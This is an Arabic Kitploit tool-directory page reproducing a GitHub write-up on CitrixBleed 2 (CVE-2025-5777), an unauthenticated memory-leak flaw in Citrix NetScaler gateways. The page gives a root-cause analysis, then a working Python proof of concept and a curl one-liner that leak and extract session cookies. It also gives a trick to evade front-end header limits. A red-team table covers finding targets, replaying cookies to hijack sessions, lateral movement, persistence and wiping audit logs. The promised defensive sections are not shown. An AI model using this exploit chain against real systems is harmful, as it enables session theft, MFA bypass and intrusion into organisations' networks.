Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
أدوات دفاعيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراقالتعلم والتعليمالفريق الأحمرالاستجابة للحوادث

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مختبرات وتدريب عملي
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

شرح تفصيلي لـ CitrixBleed 2 — CVE-2025-5777 (تسريب خارج الحدود) PoC وعدة الكشف

عرض المستودع
17212منذ سنة واحدةلم تتم المراجعة بعد
مشاركة

CitrixBleed 2 (CVE-2025-5777) التحليل النهائي

قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في NetScaler ADC / Gateway — دليل شامل من الأسباب الجذرية إلى تدريبات الهجوم والدفاع


استخدام PoC: python3 poc.py https://gateway.example.com

استخدام أداة الاستغلال: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

المحتويات

0x00  مقدمة / نظرة سريعة
0x01  الخلفية: بنية NetScaler واستعراض CitrixBleed 1
0x02  وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)
0x03  تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)
0x04  PoC مصغّر + سكربت مسح متقدم
0x05  منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)
0x06  منظور الفريق الأزرق: الكشف والطب الشرعي والتحقق من التصحيح
0x07  تحصين الدفاع: التصحيح وWAF والإعدادات وإدارة الأصول
0x08  خارطة طريق التعلم / المراجعة والتجارب العملية
الملحق A  قواعد Sigma / Suricata / Nginx-Lua
الملحق B  الجدول الزمني للتصحيح/الاستغلال ولقطات IoC
المراجع

0x00 مقدمة / نظرة سريعة

  • CVE-2025-5777 (المعروف أيضًا باسم CitrixBleed 2) هو قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في Citrix NetScaler ADC / Gateway.
  • لا يحتاج المهاجم إلى مصادقة؛ يكفي إرسال طلب GET برأس Host طويل جدًا ليجعل الجهاز "يبصق" كتلًا عشوائية من الذاكرة مع استجابة HTTP إلى العميل.
  • غالبًا ما تتضمن البيانات المسرّبة مواد حرجة مثل كوكيز NSC_USER / NSC_TASS وStateContext الخاصة بـ SAML ورموز MFA، ويمكن إعادة استخدامها مباشرةً لاختطاف الجلسات وتجاوز MFA ([arcticwolf.com][1], [tenable.com][2]).
  • الدرجة المرجعية في CVSS v4 هي 9.3 (حرجة) ([netscaler.com][3]).
  • أُعلن عنها في 2025-06-17، وفي 2025-06-23 وسّعت Citrix نطاق التأثير وأصدرت تصحيحًا؛ وخلال أسبوع واحد رصدت شركات أمنية مثل ReliaQuest وBishop Fox تباعًا ارتفاعًا حادًا في الاستغلال الفعلي في البرية ([reliaquest.com][4], [bishopfox.com][5]).

0x01 الخلفية

1.1 نبذة عن سير عمل NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② مصادقة AAA / Gateway
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ توجيه إلى التطبيق
│ CVPN / RDP   │
└──────────────┘

يعتمد NetScaler تصميم متعدد العمليات + IPC داخلي. تتولى WebProc معالجة معظم طلبات HTTP ضمن مسار AAA / Gateway، بما في ذلك /nf/auth/* و/oauth/* وغيرها. وتستخدم بكثرة snprintf() / memcpy() في لغة C عند تجميع مقاطع XML/HTML في كل مرة.

1.2 استعراض CitrixBleed 1 (CVE-2023-4966)

  • في عام 2023، حدثت ثغرة من الفئة نفسها في واجهة اكتشاف OAuth /oauth/idp/.well-known/openid-configuration.
  • كان جوهرها أيضًا استخدام القيمة المُعادة من snprintf كمعامل len في send() اللاحقة ← صدى ذاكرة خارج الحدود.
  • تُثبت CitrixBleed 2 أن النوع نفسه من عيوب البرمجة الآمنة ما زال كامنًا في مسارات أخرى.

الدرس المستفاد: إذا استهدفت التصحيحات الأمنية "نقطة التأثير" فقط دون "نمط البرمجة"، فستترك مساحةً لإعادة الاستغلال "بنمط موحّد".


0x02 وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)

الحقلالمحتوى
CVECVE-2025-5777
الاسم المستعارCitrixBleed 2
نوع الثغرةقراءة خارج الحدود / تسريب معلومات
CVSS v4 Base9.3 (حرجة) ([netscaler.com][3])
الإصدارات المتأثرة< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
شروط الاستغلالأن يكون NetScaler مهيأً كبوابة Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) أو كخادم AAA افتراضي ([arcticwolf.com][1])
عواقب الاستغلالتسريب الذاكرة → رموز الجلسة → تجاوز المصادقة / تجاوز MFA → حركة جانبية

0x03 تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)

يعتمد هذا القسم على فك تجميع البرنامج الثابت 13.1-55.18 وتصحيح الأخطاء عبر gdb، بالإضافة إلى مدونات عامة ([bishopfox.com][5]).

3.1 نقطة دخول الثغرة

  • URI: /nf/auth/startwebview.do
  • المعامل القابل للتحكم: رأس HTTP Host
  • تُستخدم هذه الواجهة لتوليد XML إعادة التوجيه لتطبيق Citrix Workspace WebView. مثال على استجابة طبيعية:
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 سلسلة الدوال الرئيسية

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ يمكن أن تكون length أكبر من 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

موقع الخلل: تُرجع snprintf "الطول الذي كان يجب كتابته" وليس الطول الفعلي المكتوب؛ إذا كان رأس Host المُرسل من المستخدم > 0x1800 - طول المقطع الثابت، فإن length > sizeof(buf).

3.3 توضيح وقت التشغيل

buf: [-----XML-----][OOB][OOB][OOB]......            <- حد 0x1800 بايت
                          ↑
        تُرسَل هذه البايتات أيضًا بواسطة ns_vpn_send_response

عرض نقاط التوقف في GDB (السجلات الرئيسية):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

أظهرت نتائج read() أن آخر 1600 بايت تأتي من ذاكرة غير مهيأة، وكانت مخازن كوكيز من جلسات SSL أخرى ظاهرةً فيها.

3.4 فئات البيانات المسرّبة

الفئةمقطع توضيحي (تم إخفاء البيانات الحساسة)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
محتوى طلبات أخرى<username>audituser</username><password>***</password>

0x04 تنفيذ PoC

4.1 Python بملف واحد (15 سطرًا)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • بعد التنفيذ، إذا أُرجعت استجابة 200 بحجم عدة كيلوبايتات، يُحكم بوجود الثغرة.
  • ثم ابحث في leak.bin عن كلمات مفتاحية مثل Cookie= و<AuthenticateContext> وغيرها.

4.2 سطر واحد عبر Bash / curl

curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

تجاوز: تفرض بعض الأجهزة قيدًا على طول رأس Host عبر F5 / Nginx في الواجهة الأمامية؛ يمكن التحايل عليه بتجميع نطاقات فرعية متعددة، مثل foo.foo.foo.…foo.example.com (بتكرار foo 3000 مرة).


0x05 منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)

الخطوةالهدف والتقنية
① اكتشاف الأصولzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan وغيرها؛ التصفية وفق set-cookie: NSC_
② تسريب عبر PoCنصوص برمجية مجمّعة ترسل الطلبات بالتوازي؛ والتقاط NSC_USER= ; NSC_TASS=
③ إعادة تشغيل الكوكيزChrome DevTools→Application→Cookies→إضافة عنصر، ثم تحديث /vpn/index.html
④ موارد الشبكة الداخليةالوصول إلى storeweb/#home للحصول على ملفات RDP؛ تنزيل .ica والدخول مباشرة إلى VDI
⑤ رفع الصلاحياتحقن بيانات الاعتماد داخليًا، Kerberoast، ADCS ESC1؛ أو استغلال كلمات مرور SMB الضعيفة في الشبكة نفسها
⑥ الثباتإنشاء مهمة مجدولة؛ تسجيل سكربتات إقلاع تلقائي؛ أو تعديل vDisk الخاص بـ NetScaler (يتطلب صلاحيات عالية أو إهمالًا تشغيليًا)
⑦ تنظيف الآثارحرق الكوكيز فور استخدامها؛ حذف سجلات التدقيق (إن حصلت على صلاحيات root لـ NS)؛ أو الكتابة فوقها عبر استغلال سباق logrotate
تنزيل الأداة